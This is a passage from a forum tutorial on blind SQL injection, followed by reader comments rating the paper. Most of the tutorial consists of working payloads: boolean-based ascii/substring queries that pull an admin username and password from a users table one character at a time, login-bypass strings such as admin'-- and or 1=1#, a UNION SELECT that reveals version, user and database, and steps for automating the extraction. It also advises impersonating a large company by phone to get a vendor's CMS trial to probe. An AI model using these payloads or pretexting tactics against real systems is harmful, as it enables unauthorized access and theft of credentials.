http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=98 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=99 #true```

```markupmysql> select char(97, 100, 109, 105, 110, 58, 115, 101, 99);
+------------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101, 99) |
+------------------------------------------------+
| admin:sec |
+------------------------------------------------+
1 row in set (0.00 sec)```

```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>120 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))>115 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=111 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=112 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=113 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 10, 1))=114 #true```

```markupmysql> select char(97, 100, 109, 105, 110, 58, 115, 101, 99, 114);
+-----------------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101, 99, 114) |
+-----------------------------------------------------+
| admin:secr |
+-----------------------------------------------------+
1 row in set (0.00 sec)```

alright, i guess the idea is clear. The password i thought about is 'secret'.

What if you see a login box? You don't have a user so lets see if it is in any way vulnerable. The idea is that you bypass the where password part a possible mysql request could be:

select username, password from users where username='&#92;''.$user.'&#92;'' && password='&#92;''.$password.'&#92;''
but what if the user variable contains -- or # to comment the rest of the query away? The $user is user controlled, so it should not be a problem right?
examples:
```markupselect username, password from users where username=''admin'--'' && password='doesnt matter''
select username, password from users where username=''admin'#'' && password='doesnt matter''
select username, password from users where username=''admin'/*'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1--'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1#'' && password='doesnt matter''
select username, password from users where username=''admin' or 1=1/*'' && password='doesnt matter''
select username, password from users where username=''admin') or '1'='1--'' && password='doesnt matter''
select username, password from users where username=''admin') or ('1'='1--'' && password='doesnt matter''```

Why not see this as a blind sql injection? You log in so you got a returned true thing, you don't log in so something is false.
For example: by using this user it will log you in:
admin' AND 1=1--
and here not:
admin' AND 1=2--
So by logging in with this
admin' AND ascii(substring((select user from mysql.user limit 0,1), 1, 1))>0--
you will know if you are having a lot of rights. From here you can go on with the normal technique of exploiting it. Here is also a good example that sql injections occur in POST and GET requests.
Tamper data and LiveHTTPHeaders are 2 good firefox add ons that can help you with this.
Tamper data:     https://addons.mozilla.org/en-US/firefox/addon/966
LiveHTTPHeaders: https://addons.mozilla.org/en-US/firefox/addon/3829

Next situation:
```markup?page=home
select * from pages where page='home'```

```markup?page=home' AND substring(version, 1, 1)=4 AND ''='
select * from pages where page='home' AND substring(version, 1, 1)=4 AND ''=''```

Next situation:

/articles/catergory/2
mod_rewritten obscured, no problem!
http://www.archive.org/index.php
Will give you information what it was before it was mod_rewritten ;), also if you got a cheap cms it will be easy to find it out, call the vendor, tell them you are from a big local company and want to get a 10 day trial, well this actually is a general advise if you got a closed source commercial cms. Just try to get a trial, be sure you talk with a serious voice and make sure you are talking as if you are from a big company and know what division will need the product. They will probably have a test environment and you will get instant access within minutes. If you got an open source product then just download it off-line, screen the source and hope you can find anything, in both cases first look through the general exploits for the specific cms on sites like securityfocus, milw0rm and google. You can also just see if the .htaccess file is readable for you ;).

A possible solution for the mod_rewrite here could be:
```markup?page=articles&cat=2
?page=articles&cat=-1 union all select 1,2,3,version(),user(),database(),7,8--```

basics of automating the process language wide it consists of the following steps:
open the url
see how long the length of the opened content is
determine a breakpoint for the length difference of the amount of characters on every page
loop through the characters
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=(loop this)
if you found it increment the character and let the looping character be back to 0
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=0
echo the output every time and ta da, automated the process, i would advise to make an algorithm and not sending every single character, work with > and < and things like that in the algorithm, it does support it so why don't use it? ;)

Cookies are often vulnerable for mysql injections, a lot of web applications let you automatically log in when you revisit a website based on your cookies. This also requires the process of looking in the database if your cookie is having the right values to pass.

There are also programs available to help you on your way in blind injecting, sqlmap is a quite good one but i would advise you to learn it on your own without other programs besides your browser.

Just keep your eyes open and i am sure you will find a lot of sql vulnerabilities 

Comments
spyware's avatar
spyware 14 years ago

Long, but written pretty crappy. Getting the feeling you leeched a few sources and merged different whitepapers to write this.

ghost's avatar
ghost 14 years ago

ok, can you tell me where it becomes 'crappy'? i burned my sunday writing this paper and i did an attempt to show all sides of the story. And where starts the leeching?

ghost's avatar
ghost 14 years ago

http://milw0rm.com/papers/202 <- also.

But its a good paper. It does explain a lot.

fuser's avatar
fuser 14 years ago

quite a long paper, at least it explains everything in one go.

ghost's avatar
ghost 14 years ago

I knew the milw0rm, nice one, the go4expert is also good i see, explains it nice, i actually see a lot of the same in both papers, its about the same subject so i think it is not strange that a lot is the same. About my manuscript, i am not native English, tell me where i made big mistakes and i will change it.

spyware's avatar
spyware 14 years ago

It's not really the spelling/grammar that bothers me, it's just that the lay-out is hideous. I know that HBH has a crappy format… you might try creating a nicely-formatted PDF, and uploading that.

ghost's avatar
ghost 14 years ago

updated it, i would like to make a PDF and upload it, but where can i upload it on hbh? Or shall i just give a good link?

ghost's avatar
ghost 14 years ago

I voted awsome because it was so.

Screw the whole formatting thing. The information inside was easy to understand and well sequenced. :D

spyware's avatar
spyware 14 years ago

Technique by example as opposed to technique by knowledge; it will catch up with you, and you'll be cursing at yourself.

ghost's avatar
ghost 14 years ago

if this isn't copy/paste work, then congratz real effort was made here, but i think a bit useless, since explanation for this subject can be found on many different sites, if you have the will to write ,find some topics that aren't so often

ghost's avatar
ghost 14 years ago

I'd have to agree with spy it seems mooched off alot of other sources. Its also a pretty common topic and not well structured, otherwise fair information.

korg's avatar
korg 14 years ago

Basic info that has been covered over and over. Good effort put into it though. 6/10.

stealth-'s avatar
stealth- 14 years ago

I enjoyed it. Yes, it seems like just a rewrite of other papers on the subject, and there are already way more papers out there on it, but its much better than some of the other crap I've read on this site.

omega_tek's avatar
omega_tek 8 years ago

where is the like button thumbs up:D